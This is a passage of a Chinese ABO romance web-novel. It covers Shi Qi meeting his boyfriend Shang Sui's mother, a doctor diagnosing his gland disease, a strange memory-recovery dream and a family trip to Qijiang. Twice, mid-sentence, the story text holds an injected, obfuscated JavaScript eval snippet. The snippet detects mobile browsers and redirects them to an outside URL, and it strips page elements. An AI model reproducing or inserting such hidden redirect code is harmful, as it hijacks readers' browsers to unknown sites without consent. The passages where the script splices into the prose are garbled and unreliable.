又要打人、又叫错辈分,现在还表现得笨手笨脚,时绮都不敢想象自己的形象有多糟糕。 “第一次见你,是我来得太唐突,都没提前跟你们打招呼。”虞晚见他紧张,主动道,“我只是顺便过来看看,那就先……” “等等,您别走。”时绮反应过来,“我家里让我回去,我该走了。” 虞晚张了张口,有些担心是自己的原因让他想离开。 时绮对上虞晚和商随相似的眼睛,迟疑片刻,还是选择直说:“我最开始是开玩笑的,不是真的想对商随动手。” “叫错了您的辈分,对不起。还有……谢谢您给我买蛋糕。” “哎呀,”虞晚愣了愣,反应过来后高兴道,“这有什么关系,我还以为你是不喜欢我待在这儿呢,不是就好!” “你喜欢吃甜食,对不对?我们家有个阿姨手艺不错,她会做那些传统的小点心,我下次带给你尝尝。” 她边说边拍了一下商随,不顾后者莫名其妙的表情:“你打他就是了,你要是不好意思动手,我可以帮你打。” 这回愣住的成了时绮:“……谢谢您?” 虞晚越看他越喜欢:“可以要一个你的联系方式吗?我跟他爸爸之前只知道他有喜欢的人,都不知道你们谈恋爱了。他什么都不告诉我们。” 时绮点点头,又想到一件事:“可您之前催婚……?” 催婚? 见商随朝自己使眼色,虞晚从善如流:“哦,是的呀,毕竟小随平时接触不到什么人,天天就在画室待着,我们都担心他孤独终老。” “要是愿意,你们可以早点考虑这方面的事情。” 她说得实在自然,时绮没察觉到不对。 虞晚原本想让商随送他,时绮再三表示不需要,让他们多待一会儿。 简单收拾好行李,时绮同虞晚道别,商随陪他到门口。 先前他提过家里准备去祁江度假,商随也会过去。因为没过多久又能见面,时绮倒没有依依不舍,满心都在另一件事上: “你记得跟阿姨解释一下,我平时没这么奇怪。” “不奇怪啊,”商随不甚在意,“特别可爱。” 时绮被噎了一下,只觉得他的滤镜实在太厚:“可爱?可笑还差不多。” 不等商随说话,时绮又道:“反正你解释一下,我想给你妈妈留个好印象。” “行,”商随捧着他的脸,“你给我亲一口,我就帮你解释。” 时绮想让他正经一点,商随却低下头,贴上时绮的唇畔。 伴随甜蜜的呼吸,商随轻言细语道:“你放心,她感谢你都来不及。” “她要是知道……恨不得把你供起来。” 中途商随说了什么,时绮没听清楚。 碍于虞晚在客厅,他们没有深吻,只是唇瓣紧贴、相互摩挲。 或许是这段时间太过放纵,亲到最后,时绮食髓知味,竟是有些腿软。 昨晚被商随抱着、还被绑了腿,有那么一瞬间,他差点儿开口叫他进来。 尽管双腿现在还酸软无力,但和商随缠在一起实在很舒服,如果真正做到最后,会不会更舒服? 见时绮神色迷离,商随呼吸一滞,放轻声音问他:“小绮在想什么?” “……” 只是接个吻就满脑子黄色废料,多少有点放荡。 时绮沉默不语,商随的手掌锢住细细的腰肢,催促性掐了一把。时绮被迫发出轻微的哼声。 对上商随似笑非笑的目光,时绮突然来了脾气—— “我在想,既然你这么有能耐。” 话说到一半,时绮故意停顿,大而明亮的猫眼流露出挑衅的神色: “你昨晚为什么不上我。” “……” 他说完不顾商随的反应,拔腿就跑:“拜拜!祁江见!” 商随站在原地一动不动,许久之后,指关节发出清脆的响动。 他的手指慢慢蜷曲,手背青筋凸起,像要抓住什么东西。 本以为时绮还没准备好,不想让他做到最后。 时隔六年才得到的宝贝,他害怕再出一点差池,也怕一不小心把时绮弄坏,像对待美丽脆弱的花朵那样小心翼翼。 毕竟Omega浑身上下都小小的,不像真正能适应的模样。 现在看来,他的顾虑好像不太需要啊? 商随自顾自笑起来,给时绮发去一条消息。 Ss:[你等着^^] 他平复好情绪,回到客厅。 想到时绮的吩咐,商随对虞晚道:“您见到人了,印象怎么样?” “很漂亮,而且……” 虞晚思考该怎么形容。想到时绮吃蛋糕时偷偷看她、眼里流露出好奇的神色,终于找到一个恰当的描述:“像小猫一样,性格也很坦率。” 她话锋一转:“但我什么时候催过婚?” 商随自然而然道:“您可以从今天开始催。” 虞晚无言片刻,很快明白他在打什么主意,忍不住笑话他:“我看小绮年纪还小,说不定根本没考虑过这些。你就这么急着嫁给人家呢?” “是呀,”商随也笑,“一直没跟您说过,他是当初那个人。” 他轻声补充:“是那位特殊的朋友。” 虞晚最初没理解他的意思,等她反应过来,不可思议睁大眼睛:“你是说……?” 八年前那件事后,虞晚以为商随受到的刺激太大,暂时调整不过来,等她察觉到不对已经迟了。 她带他去看了心理医生。在咨询室门口等待那个下午,她坐在外面掩面哭泣,又一次觉得自己失职。旁边的商曜轻轻拍她的肩膀,同样愧疚难安。 如同应对创 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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虞晚见状,正想问问他是不是担心时绮知晓过去。 商随低声说:“好像无论我能不能控制自己,他都不害怕。” 这么长时间的接触,如果一直担心时绮能否完全接受他的异常,才是真正不识抬举。 他能感觉到时绮对他格外纵容,小到恋爱以后的日常相处,大到特易期、精神操控,对方好像什么都不介意,总是用最自然的方式对待他。 “可能他长大了,变得不在乎这些。也可能我比起当初有进步,没那么疯疯癫癫……又或者他现在很喜欢我,愿意接受我的不同吧。” 说到这里,商随自己都笑起来。 “过去的事情,我想慢慢告诉他。” 和六年前相比,他能控制好自己,也有自信不会再重蹈覆辙。 他终于能够承认,他始终心有不甘。 好像欲望总是难以填满。最开始想着能开开心心在一起就很好,真正成为恋人以后,他又渴望更多,不甘心一切只停留在回忆里。 哪怕对另一个人来说是不值得被记住的过去,他也希望时绮知晓。 心里甚至有个微小的声音怀揣侥幸,第一次小心翼翼开口:万一有别的隐情,或许时绮也不想忘记他呢? 无论未来如何,既然选择坦白,他得先想想办法,尝试引导时绮想起来。 祁江四季如春,层层叠叠的无尽夏在窗外盛开。 商随的视线掠过室内的胡桃木大床,堆不下的亚麻抱枕从床头散落至地毯,角落里的置物架一层层摆放他的颜料。阳光从窗台斜照入室内,令一切仿佛回到六年前的盛夏。 当初离开后,他一直派人定期打理,房子的外观与楼下的花田都一如往昔。 他提前过来,除了让人把室内布置全部恢复到曾经的模样,还特意在花海里放置了三个胖瘦不一、造型各异的稻草人。 一个拿着烟,一个在打瞌睡,最后一个低头看地。 那几年虞晚对待他就像对待易碎的瓷器,生怕他再遭遇意外,在山里度假也会给他安排保镖。 即使这些保镖加起来可能还对付不了他一个人,为了让她安心,商随没有拒绝。 后来他无数次在心里感谢虞晚当初的安排,因为他们,时绮最初误以为他被关在那栋房子里。 他还记得时绮掰着手指,像发现秘密一样告诉他: “我记住了看守的活动路线,可以偷偷带你逃出去。” “胖一点的那个会躲在墙角抽烟,高个的瘦子会在下午打瞌睡,不胖不瘦的最负责,但他不会仔细抬头看,只要把画架放在阳台上,他就以为你还留在原地,不会发现。” 时绮说完看向他,像是在等待夸奖。 商随没有说话,心里却有些想笑。 前一天晚上,他把三名保镖叫到一起,一个个提要求: “你去墙角抽烟。” “下午的时候,你装作打瞌睡。” “你的话,”商随的目光停在最后一名保镖身上,“不要抬头看。” “如果见到一个灰色眼睛的少年,假装没发现,让他进来。”他说完又想到什么,淡淡道,“这件事情不用告诉太太。” 他们都直接听从商随的要求,即使瞒着虞晚,也没人有异议。 况且只是一个孩子。 “好的,”保镖迟疑地问,“但您为什么要这么做?” “为什么……” [——你一个人在做什么?] 那是时绮和他说的第一句话。 对方无声无息落在他的窗台,充满好奇望向他。 科幻作品里慢悠悠上浮的荧光孢子、晶莹剔透的气泡、灯光、半融化的水晶、转瞬即逝的花……这些会让他觉得美丽的东西,在和时绮对视的一瞬间,好像哗啦啦地在脑海中全部涌现。 他甚至以为自己见到了天使。 即使到了深夜,白日里初遇的画面都不曾消失。 因为小天使看起来,好像觉得这样很有趣。 比起无所事事来度假的少爷,还是被关在高塔上、无法逃脱的可怜鬼比较吸引人吧。 “因为我想留住他。” 他没有向时绮解释,而是顺势编造了一个漂亮的童话。 心脏怦怦直跳,等待天使再次光临。 52.梦境 回家没两天,时绮收到了虞晚的消息。 虞晚:[小绮有喜欢的东西吗?阿姨想给你送礼物。] 虞晚:[我给你挑了一些衣服,你皮肤白,穿什么都合适。] 虞晚:[首饰我也看着挑了一些,都是比较华丽的风格。有款异域风格的项链,你戴肯定很漂亮。] 时绮见她十分热情,心里松了一口气。 看来虞晚不觉得他奇怪。 她边说边发来图片。 虞晚:[你看看,这些你喜欢吗?] 虞晚:[或者你平时偏好什么风格的衣服配饰,阿姨再去挑一挑。] 本以为她只选了一两件,结果虞晚竟一口气发来二十多张图片。 他看过商随买东西,也是一次买一大堆,有时候还会像有收集癖一样集齐同款不同色、各种限量款。 他这下总算知道商随的审美和习惯遗传自谁。 17:[都很好看,谢谢阿姨。] 17:[您太客气了,不用送我这么多礼物。] 虞晚:[不多呀!阿姨特别喜欢你,说句不合适的,就像我亲生的一样。] 虞晚挑的衣饰都价值不菲。虽然从小到大身边的叔叔阿姨都很喜欢他,但像这样一次性送给他这么多昂贵的礼物,暂时只有家里的长辈。 时绮想拒绝,可虞晚把话说到这个份上,他又怕扫她的兴。 想到这里,时绮打开和商随的对话框。 他们的对话停留在前天下午,他挑衅完商随就跑,对方发消息让他等着。 隔着屏幕,时绮也觉得后背发凉,原本可爱的表情甚至透出几分阴恻恻的鬼气。 短暂的慌乱之后,他开始觉得有趣,甚至好奇对方究竟会做出什么反应。 好像挑衅商随这个行为,本身就很刺激。 但他现在不敢再刺激商随,假装没看见那句“你等着”。 17:[阿姨想给我送礼物。] 17:[她选了好多,我不知道怎么拒绝。] 商随语气自然,也像先前那件事没发生过一般: Ss:[她本来想给你送房子。] Ss:[我说她这样像怪阿姨,她才作罢。] 如果原先只是觉得时绮外貌出众、性格可爱,知道他究竟是谁,虞晚万分感激,恨不得把人供起来。 她刚好在A大附近买过房子,听说时绮就在A大念书,虞晚想当见面礼送出去,还是商随问您是想让我们分居吗,虞晚才转而送礼物。 她意犹未尽,又开始问他什么时候能结婚呢?至少和时绮提一提吧,Omega二十岁就能结婚,小绮一看就很受人欢迎,早一点早安心呀。 如果先前还需要虞晚配合表演催婚,现在完全是真情流露。 Ss:[她眼光不错,你收下吧。] Ss:[她就是喜欢你,她喜欢谁就爱送谁东西。] 时绮看见消息,有些不好意思。 商随的妈妈……对他印象这么好吗? 不等时绮回复,时安在外面敲门。 时绮:“进来。” 时安一进来就看见他缩在床上玩手机,手里还抱了个抱枕,俨然玩得忘记时间,心情相当不错。 时安催促道:“快起来,我们今天要去宁山医院。他们副院的号难约死了,这次错过下次不知道得等多久。” 时绮哦了一声,掀开被子,下床找出门的衣服。 “我让你爸打听过了,你男朋友家就是寰云当权的,不是什么高管。” 既然考虑到结婚,时安特意让姜礼去了解一下商随。 越了解越觉得来头大,时安表情不太好:“他妈妈那边也不简单,虞照行是他外公。” 时绮隐约有印象,这个名字好像会在新闻里看见。 “其实您不用打听,我可以直接问他。” 时绮以为最初说商随是美院的助教,导致时安对商随不太信任,特意解释道:“最开始不知道这些,是因为我没问,商随没有隐瞒过我。” “不是因为这个,”时安却说,“让你问也问不出什么所以然,我看你除了他的脸,什么都不在乎。” “……” “他本人的消息藏得跟什么似的,照片都找不出一张。听说他们家对他护得紧,曾经无论他去哪,身边都会有保镖。” “嗯?”时绮有些意外,“商随身边没有保镖。” 而且商随是特易期,又能精神操控。 平心而论,应该没几个人是他的对手,就算身份非同寻常,也不太需要请保镖吧。 “是吗?可能这几年没有,曾经是有的。” 时安一路跟着时绮去洗漱。他昨晚为这事愁了一夜,生怕时绮以后受委屈:“他们家这么厉害,规矩会不会很严?” 时安说完又补充道:“那你也不用听,你自己开心最重要。” 时绮洗完脸,扭头看时安:“虞阿姨说她很喜欢我。” 时安看着他这副没心眼的样子,戳戳他的脑袋:“笨,那就是客气客气,只有我跟你爸爸才最喜欢你。” 时安约的是上午十点的号。宁山医院擅长治疗第二性别导致的疾病,整整一栋楼都是与ABO相关的科室。 时绮跟着时安上到三楼,中途时安和他闲聊:“给你看病的医生是宁山最年轻的副院,除了常见的第二性别病,他对特易期也很了解。” “特易期大都由机构负责,国内拥有执照、能单独做特易期心理测评的医生少之又少,他就是其中之一。” 说到这个,时绮顺势问:“您对特易期怎么看?” “没什么特别的,但我不希望你将来的对象是特易期。”时安随口道,“和特易期结合很麻烦,也可能会承受更大的压力。” 时绮没有说话。 特易期太过罕见,时安没多想,把话题拉了回来:“除了医术精湛,这位医生本身也非常厉害,是英雄一样的人物。” “你知道海城连环杀人案吗?案件发生的时候你年纪还小,可能没什么印象。” 最近时不时就会听见这个案子,时绮略感意外,又点点头。 时安见状道:“据说这位副院和他的母亲原本是凶手的目标,他那时候还没成年,但他反过来制住了凶手,直到警方赶来。” “事后受害者家属都万分感激,曾经集体向他道谢。” “或许就是当年那件事,他后面才会想了解特易期、并且考取执照吧。”时安说到这里,眼里流露出钦佩的神色,“是技术和医德都很好的医生,我才想让他帮你看一看腺体病。” “对了,这位医生姓沈。” “请进。” 听见叫号的播报,时绮在外面敲了敲门,里面传来声音。 一踏进室内,时绮脚步一顿:“沈千俞?” 原本低头看档案的医生闻言抬眸,同样流露出惊讶的神色:“时绮?” 时安看看这个又看看那个:“你们认识?” 时绮应声:“他是商随的朋友。” “您好,是时绮的家人?” 沈千俞和时安打了招呼,又对时绮道:“坐吧。” 他脑子转的很快,按理说来,如果时绮有什么三长两短,商随早就闹得比谁都厉害。 如果是商随不知道的病…… 意识到事情有些棘手,沈千俞温和地问:“哪里不舒服?” 时安带了时绮的病例,本以为还需要再做一次检查,这位年轻的医生仔细看过各项数据,直截了当给出结果:“最迟今年八月,不能再晚了。” “到了后期,就算身体暂时看不出异常,也可能因为腺体病变无法彻底标记,即使能够标记,还存在一种可能性极小的特例:标记过后,腺体短时间内无法彻底痊愈,到了那一步,标记会伴随没能完全痊愈的腺体一起退化,就像自动完成了清洗手术,最后同样等于标记失败。” “过了八月,标记都有失败的可能,第二种情况甚至无法被检测到,我个人认为没必要冒这样的风险。” 沈千俞补充道:“你跟商随的匹配度应该很高?你们长期接触,可能会稍微延缓病情,但最多也只能延迟一周左右。” 他语速平缓,说出的话却十分笃定。时安在一旁听得心惊肉跳。 以往的医生大多会让时绮做许多检查,而后也没几个敢说出绝对的日期,这位却一上来就给了期限。 按照上一位医生的说法,他原先以为能拖到年底,不料竟然提前整整四个月。 腺体退化症本就是罕见病,国内外的病例都屈指可数,时安过去从没听说过第二种情况,只觉得幸好今天来了一趟。 时安心里感激,道谢后又详细询问许多,沈千俞一一回答,最后问:“如果方便的话,我能单独和时绮聊一聊吗?” 想到他们本来就认识,时安答应下来。 等诊疗室的门关上,沈千俞开门见山:“商随知道你的病吗?” 见时绮摇头,他沉默片刻:“既然这样,我不会告诉他。” “但你为什么不想让他知道?”沈千俞暂时只能想到一种可能,“你是……没打算让他帮忙?” 时绮面露迟疑,没有说话。 沈千俞见状,心下一沉。 原本以为时绮和商随在一起是两厢情愿,现在看来,商随果然还是用了手段,弄得人家连这么大的事都要瞒着他。 沈千俞委婉地问:“你是自愿和他在一起吗?” “?” 时绮终于意识到自己的表现令人误解:“不是这样,我想找一个合适的时机告诉他。如果突然让他知道我有腺体退化症,像在强行要求他终生标记我。” 终生标记后,他的病症能够痊愈,但相应的,他无法像其他Omega一样洗去标记,一辈子都需要标记他的Alpha安抚。 “真到那步,他就得和我结婚吧?还是一辈子不能离那种。” 明明他和正常的Omega不同,如果说希望一切顺其自然,好像太过幼稚。 但是…… “提这个像是在逼婚,还没到最后,我暂时不想逼他,也不想逼自己。” 听完他的理由,沈千俞神色复杂。 他能理解时绮的想法,碍于病症结合和因为感情自然而然走到一起,的确是两码事。 在遇见商随之前,时绮能顶着腺体退化的压力独自过这么长时间,想来在时绮心里,自由地选择婚姻和人生应当十分重要。 可有一点时绮没意识到。 对商随来说,终生标记或许根本不是逼迫,而是求之不得。 “我理解你的想法,但这件事关系到你的性命,到了五月你还没开口,我帮你告诉他,好吗?” 气氛有些凝重,沈千俞开了个玩笑:“如果我知情不报,后果实在很难预测,我们少爷那脾气……你也知道,我可能就没法和他当朋友了。” 时绮不由得笑起来,点了点头。 听完沈千俞刚才的话,他原本也打算最迟五月告诉商随。毕竟他没想一直瞒下去,只是想稍微延迟一段时间。 “还有一件事。”沈千俞道,“腺体退化症分化时往往伴随各式各样的并发症,例如高烧、过敏、失去味觉嗅觉,严重者甚至可能瘫痪。” 想到商随说时绮忘记了一切,他大胆地猜测:“你是不是失去过一段记忆?” 仅凭几句对话,沈千俞就说中了情况,时绮惊讶道:“你好厉害。” 他还记得自己苏醒时看见病房的天花板,时安守在他旁边,一见到他睁开眼睛,眼泪直接掉了下来。 时安说他整整昏迷了三天,祁江医疗条件不好,他们第一天晚上就把他带回了首都,医生说他今晚再不醒来,得送去重症监护室。 他的手机丢在了祁江,重新买手机时,时安顺便给他换了号码。但他对此毫无印象,甚至不记得去过祁江。 关于一整个夏天的记忆,都从他的脑海消失了。 沈千俞见他答应,神情复杂地注视他许久。 直到时绮都想问是有什么问题吗,沈千俞才终于开口:“如果你想找回记忆,可以考虑服药。” 腺体退化症是与信息素有关的疾病。如果用分化时接触到的信息素配合药物治疗,就有可能找回记忆。 因为他是受到信息素诱导后才能成功分化,身边高匹配度的Alpha只有傅思越一个,医生猜测傅思越应当就是他分化的关键。 傅思越尽职尽责陪了他一个星期,每天给时绮释放信息素。 傅思越的信息素是烟草,时绮连续一周都泡在烟味里,到后面晕头转向,甚至觉得这段记忆不找也罢。 “我试过,但没有用。” 沈千俞已经大致猜出谁才是真正促使时绮分化的关键,但他不好直说,索性忽悠时绮:“你现在到了腺体病的关键时期,如果服药,可能会和过去结果不同。” 商随最近和时绮黏在一起,应该交换过信息素。 再加上他们匹配度高,原本就可能在相处过程中渐渐找回记忆,配合药物事半功倍。 沈千俞说得头头是道,时绮没怀疑这段话的真实性。 听时安他们的描述,他失去的那段记忆没什么特殊的地方。每年夏天,他们家都会到各个地方度假,如果不是腺体退化症,本该是一个轻松愉快的假期。 但他一直很好奇,自己究竟遗忘了什么。 会不会是非常重要的事? 这个想法随着年纪增长逐渐淡去,似乎的确如家人所言,那年夏天和众多夏天一样,并没有任何特殊。 临走之前,沈千俞提醒他:“记忆大多会以梦境或闪回的形式呈现,最初可能十分混乱、缺乏逻辑,但随着回忆起的片段越来越多,你逐渐能把它们串联在一起。” “服药过程中会出现记忆和想象杂糅的情况,原本不存在于记忆里的人,也有可能出现。” “你可能会做一些奇怪的梦、看见一些奇怪的场景。” “随着时间推移,自然能分辨出哪些是你真实的记忆。” 按照沈千俞的说法,时绮入睡前吃了药。 他原本没报太大希望,却没想到,伴随逐渐昏沉的意识,他在梦里不知不觉步入无尽夏花丛,抬头看见一道似曾相识的身影。 时绮慢半拍意识到,他梦见了上次那个Alpha。 在祁江时他曾梦见过对方,第二次见到相同的人,时绮有些意外。 难道说,这有可能是他失去的记忆吗……? 上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468664|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次对方对他爱答不理,这次他们似乎已经熟悉起来。 时绮看见梦里的自己轻车熟路翻上窗台,十分不见外地端起小桌上的柠檬千层,就像知道这是特意给他准备的。 他边吃边看Alpha画画,时不时聊一两句天,直到夕阳落下。 和平日不同,远处的天空积蓄起厚重的黑云,似乎有一场激烈的雷阵雨即将来临。 “那我走了?一会儿可能会下雨。” 时绮把手里的小叉和餐盘放回小桌,Alpha看着他,忽然说:“你和楼下那几只好像。” 什么? 时绮低头,看见一只梨花、一只橘猫和一只三花,它们挤在一起,正欢快地吃着猫碗里的食物。 楼下的花丛边放置了猫碗,厨师会准时添粮,附近的流浪猫都会过来吃饭。 吃完碗里的东西,猫咪们相继离开。 Alpha点评:“吃完就走。” “不一样,我会点餐。”时绮收回视线,理直气壮,“我明天想吃草莓蛋糕。” Alpha似乎有些无言,而后笑起来。 他很少笑,时绮的唇角也微微上翘,最后说:“那拜拜?” Alpha点点头,看着他离开。 等他走后,对方去了室内,站在沙发边一动不动。 许久以后,才烦躁地啧了一声。 时绮藏在窗台的角落,看着他的一系列反应,更是肯定了猜测。 他走出去没几步,想到Alpha好几次欲言又止,加上对方说他吃完东西就离开,隐隐透出一股被留下的怨气。 “喂,”时绮道,“不想我走可以直说。” 听见他的声音,对方骤然转过身。 似乎没料到他会回来,Alpha眼里流露出惊讶的神色。 窗外传来一道低沉雷鸣,由远及近,再过不久,便会有一场暴雨降落。 时绮猜测道:“你是不是害怕下雷雨?我今晚可以陪你。” Alpha却没直接回答:“你不回去,家里人不担心吗?” 时绮一贯会在日落时回家,避免赶不上晚饭。 他知道时绮家租住的别墅在山脚,到这里大概半小时路程。 “爸爸们出海了,他俩去了岛上,这两天都不在家。” 一想到没人能管他,时绮双眼放光,流露出一丝当家做主的兴奋:“小安爸爸本来让姐姐看着我,但她偷偷跑去隔壁城市找她女朋友。” 他边说边把姜宥宁的消息给Alpha看。 姜宥宁:[小绮,我今晚不回来。] 姜宥宁:[你自己看好自己,记得锁门,不要被奇奇怪怪的人拐走哦!] Alpha的目光落在最后一段。 不知道自己算不算奇奇怪怪的人。 时绮没察觉到他的心理活动,先前他们大都只在窗台活动,这还是第一次进到卧室。 地毯、书籍、画、散落的颜料、各种颜色的家具、做旧的粉色墙壁…… 一切犹如油画里的景象,时绮看什么都觉得有趣。 等看够了,时绮轻手轻脚洗过澡,换上对方给他的睡衣。 见他一直小心翼翼,Alpha终于忍不住问:“你为什么跟做贼一样?” 时绮抬头:“不是有看守盯着你吗?” 这回换Alpha愣住,而后笑了笑:“嗯,是。” Alpha的睡衣对他来说格外宽大,时绮穿着不合适,他往前走了几步,稍不注意就踩到裤脚,险些摔倒。 幸亏对方眼疾手快,先一步接住他。 Alpha顺势将他抱起来,宽大的裤脚在接触过程中摩擦着往上卷,露出一截光滑白皙的小腿。 时绮这才意识到他们之间的差距。他还没分化,对方却快要成年,单手将他抱起轻而易举,他的小腿几乎和对方的胳膊一样粗细。 时绮的拖鞋掉在地上,见他呆呆的,Alpha把他放在床中央,又坏心眼地塞了个抱枕给他。 他一直没有反应,就在Alpha以为他不高兴的时候,时绮终于回过神,主动钻进被子里。 过了一会儿,他探出头,双眼亮晶晶地说:“你的床好香。” Alpha看着他的动作,没有说话。 室内没有香薰,床品也只沾染过洗衣液的味道,更多是他本人的信息素气味。 时绮似乎真的很喜欢这种味道,一只只亚麻抱枕伴随他的动静发出窸窸窣窣的声响,有的滚落到地毯上。 时绮原本想捡起来,想到他们两个人睡,没地方留给这些抱枕,索性坐在床上问:“为什么有这么多抱枕?” “我习惯抱着东西睡觉。” Alpha的膝盖压在床沿,作势要朝他靠近,时绮这才意识到他们的距离近在咫尺,迟来感到一阵紧张。 他把抱枕丢了下去,对方不会要抱着他睡觉吧? 窗外雷雨轰然作响,他仰起头,Alpha低眸看他,半晌过后,朝他伸出手—— 另一双手先一步从后揽住时绮的腰,将他拖进怀里。 后背紧紧贴住结实宽阔的胸膛。意识到床上不知何时多了一个人,时绮起了一身鸡皮疙瘩,差点以为见鬼。 一道熟悉的、轻柔的声音问:“小绮在背着我偷吃吗?” 时绮睁大眼睛,一时分不清这究竟是梦境还是现实。 他扭过头,身后的人小半张脸沉在阴影中,依旧能看出眉骨高挺的轮廓。 “商随……?” 商随意味不明地问:“你怎么能跟别人睡在一起?” 随着商随的出现,他好像不再是还没分化的少年模样,而是变回了自己。 时绮晕头转向:“我没有,我也不知道这是怎么回事——” 不等时绮解释,商随的手圈住他的脖子,而后慢慢向上,不轻不重掐住他的脸。 时绮被迫转过头,面朝另一个Alpha。 室内温暖的灯光与窗外末日般黑沉的雷雨形成对比,将一切渲染成魔幻电影里的场景。 时绮倏忽睁大眼睛。 他终于看清楚了Alpha的长相。 那人长着和商随一模一样的脸。高鼻梁、狐狸眼,更为年轻,也更为冷淡。 见商随把他拖走,Alpha默不作声站在原地,宽肩薄背,漂亮得像一柄锋芒毕露的刃。 商随亲昵地问:“宝宝,你觉得他像谁?” 听见商随对时绮的称呼,对方像受了刺激,也上了床,双手抓住时绮的脚踝,闷声不吭将他往怀里拖。 时绮下意识阻拦:“等等!你们放开我!” “喂,”商随冲他抬抬下巴,“滚开。” Alpha冷冷地回应:“该滚的是你吧。” 他们相互对视,两张一模一样的脸彼此流露出嫌弃的神色,如同达成某种协议,同时看向时绮。 Alpha率先问:“你选他还是选我?” 商随循循善诱:“选我对吧?毕竟你根本不记得他。” …… 时绮猛地睁开眼睛。 他整整呆滞半分钟,才意识到刚才的一切都是梦。 这都什么乱七八糟的,沈千俞给的是假药吧! 53.私奔 时绮睁开眼睛,盯着天花板发呆。 清晨六点,窗外天光稀薄,依稀传来扫雪的动静。 一闭上眼,脑海便浮现起刚才的梦境,两张相似的脸同时看向他,一个面带笑意、一个冷冷淡淡。 沈千俞说过他有可能梦见一些违背现实的场景,记忆会杂糅想象一同出现,但是…… 这么离谱的情况看起来实在不像和记忆有关,那他为什么做这个梦,难道他内心深处希望商随变成两个?? 越想越离奇,时绮彻底睡不着觉,在床上辗转到天亮。 一直到坐上去往祁江的飞机,他都时不时想起梦里奇奇怪怪的场面。 首都天寒地冻,祁江却阳光明媚,灿烂如春夏之交。 落地之后,心情不由自主变得轻快。 时绮拍了一张照片,发给对祁江念念不忘的林言。 17:[回你老家了。] 言言:[!!!好羡慕!] 言言:[你们家就在祁江过年吗?那你要和商随分开好久。] 17:[他也在祁江,还比我先来几天。] 言言:[哇塞!那你们一起住?岂不是在挑衅小安叔叔的权威。] 因为要长住,时安提前租了一栋别墅。 时绮当年在祁江确诊腺体退化症,时安这次特意挑选位置,远离当年租住的漪山一带,避免勾起不好的回忆。 最后定下的房子紧邻湖泊,风景优美静谧。 商随先前特意问过,听见他们租住的地方,干脆也在不远处租了房子。 林言点评:[他真是无论天涯海角都追随你。] 时绮忍不住笑了一下。 “小绮,这边。” 像是应和林言的话,熟悉的声音从不远处传来。 时绮抬头,看见几步之遥的商随。 接机的人群都聚在一处,商随在其中格外抢眼。身材高大的Alpha穿着花花绿绿的衬衫,里面搭了一件白T,简洁的银质项链垂落下来。 时安他们走在时绮后面,确定周围没看见姜宥宁的身影、也没看见与时绮长相相似的长辈,商随说:“快过来。” 时绮一动不动,十分骄矜地问:“你叫我过去我就过去?” “快一点,”商随催促,“还可以抱一下。” 时绮不为所动站在原地,直到商随快放弃的时候,时绮两三步冲进他怀里。 商随张开手臂接住他,Omega扑过来的时候泄露了一点信息素。 从清甜的香气来看,时绮心情很好。 商随也笑起来,戳戳他的脑袋:“你非要让我七上八下吗?” 时绮没有说话。 四五天不见,他不由自主贴近商随的脖子,闻到丝丝缕缕诱人的蜂蜜气味。 好香。 时绮习惯性蹭了蹭,眼里流露出满足的神色。 “咳咳——” 姜宥宁的声音从不远处传来,她只比时绮晚几分钟,将这一切尽收眼底。 还真是小别胜新婚。 她笑着提醒:“你俩赶紧,一会儿爸爸们要来了。” 时安和姜礼到的时候,时绮刚好和商随分开。 看见站在时绮身边的Alpha,时安目光顿住。 姜宥宁先前见过商随一次,印象很不错,再加上黎昭欣赏对方,在姜宥宁心里更是噌噌加分。 但对时安来说,商随是忽然冒出来的形象,很神奇地和时绮拥有百分百的匹配度、恰好在最后的时间出现,一切如同命运安排的巧合。 如果不是知道对方犯不着骗人,他都觉得这一切像针对时绮的圈套。 而且……时绮实在太喜欢商随了。 时绮的终生标记不能洗掉,相当于一辈子都得跟对方绑在一起,他不是不相信商随,只是从客观角度而言,Alpha的确能拥有更多的选择。 尽管姜宥宁说商随对时绮也不遑多让,完全是情圣级别,他还是不放心。 真有比时绮还纯粹的恋爱脑吗?看着不像啊? …… 种种心情交织在一起,他一直很希望能和商随见一面,好好了解一下对方。 “您好,”商随主动道,“初次见面。” “你好,”时安道,“听说过你很多次。” 听出时安话里有话,姜礼怕商随多想,在旁边补充:“你好你好,小商是吧?小绮提起你很多次,我们都很期待和你见面。” 商随提前安排了车,司机帮大家放好行李。 即使时安有一大堆问题想问,碍于外人在场,暂时憋着没开口。 到了租住的别墅门口,想到时绮才和家里人一起过来,尽管十分不想分开,商随还是识趣地对时安说: “坐这么久飞机,应该很累吧?您看看后面需不需要找人定期打扫或准备三餐,我可以帮忙联系。” “如果没什么事情,我就先走了。” 时绮下意识挽留:“等等——” 怎么刚来就要走? 时安假装没看见时绮不争气的行为:“你住哪?” 商随安静片刻,示意隔壁:“旁边这栋。” 他大概也觉得自己有点儿夸张,欲盖弥彰补充一句:“挺巧的。” 大家都沉默片刻,时安笑了一下:“既然这么近,你也不用急着走,晚上一起吃个饭?” 见商随点头,时安图穷匕见:“那我们先聊一聊——” “我昨晚没睡好,想去补觉。”时绮眼疾手快抓住商随,“他跟我一起,有他在我睡得好。” 时安脸上温柔的笑容逐渐绷不住:“小绮,爸爸不会乱说什么,只是想了解一下你男朋友。” “毕竟我跟商随第一次见,很多事情都很好奇。” 时绮睁着一双大眼睛:“您说什么,听不懂,我好困。” “……” 想到时绮一路都在打哈欠,时安暂时作罢:“算了,你们休息吧。” 时绮拽了拽商随,示意他赶紧跟自己走。 别墅没有电梯,商随主动帮他拿行李。 见他俩的背影消失在拐角处,姜宥宁开口:“你放心吧。您最担心的不就是小绮太喜欢他、他没那么喜欢小绮吗?我看他俩半斤八两。” 